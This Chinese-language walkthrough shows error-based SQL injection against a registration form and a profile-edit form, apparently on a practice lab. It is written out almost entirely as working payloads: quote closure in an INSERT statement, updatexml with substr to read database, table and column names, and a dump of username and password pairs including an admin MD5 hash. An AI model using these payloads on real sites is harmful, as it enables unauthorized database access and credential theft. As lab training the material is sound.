发现有个注册页面,注册页面如果有注入漏洞的话,一般是insert类型的,因为注册相当于往数据库的表中插入一行新数据
填写注册信息,然后抓个包,可以看到时post形式传输的数据
尝试在admiin后加单引号,报错了而且报错信息中没有出现admiin,可能是单引号完成闭合了,最后还需要加个)完成闭合
添加其他参数和)构建闭合
username=admiin’,‘111’,‘222’,‘333’,‘444’,‘555’)#
构建好闭合了,但是这个注册页面是没有回显的,怎样查询数据呢,我们可以采用报错注入的形式让查询的数据显示在报错页面中
完整提交的post数据,payload里面是or或者and都可以,注意最后可以不用注释符,把第一个参数的单引号闭合就可以了
username=admiin’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) or’ &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit
下面查询的长度超出updatexml函数的显示范围了(显示32个字符),需要在payload中加substr()函数来把剩下的字符显示出来,拼接起来就是查询出的数据
查询表
username=’ or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or’ &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit
username=’ or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,31),0x7e),1) or’ &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit
httpinfo,member,message,users,xssblind
查询user表的列
username= ’ or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’),1,31),0x7e),1) or ’ &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit
username= ’ or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’),32,31),0x7e),1) or ’ &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit
username= ’ or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’),63,31),0x7e),1) or ’ &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit
USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level
查询users表中password列的数据
username= ’ or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,’;’,password)) from users),1,31),0x7e),1) or ’ &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit
username= ’ or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,’;’,password)) from users),32,31),0x7e),1) or ’ &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit
admin;e10adc3949ba59abbe56e057f20f883e
先随便注册一个号,登录进去
点击修改信息
随便输入信息,点击submit抓包
在性别中加入单引号报错
构造pyload
sex=1’or updatexml(1,concat(0x7e,database()),0) or’&phonenum=1111111111&add=11111&email=11111&submit=submit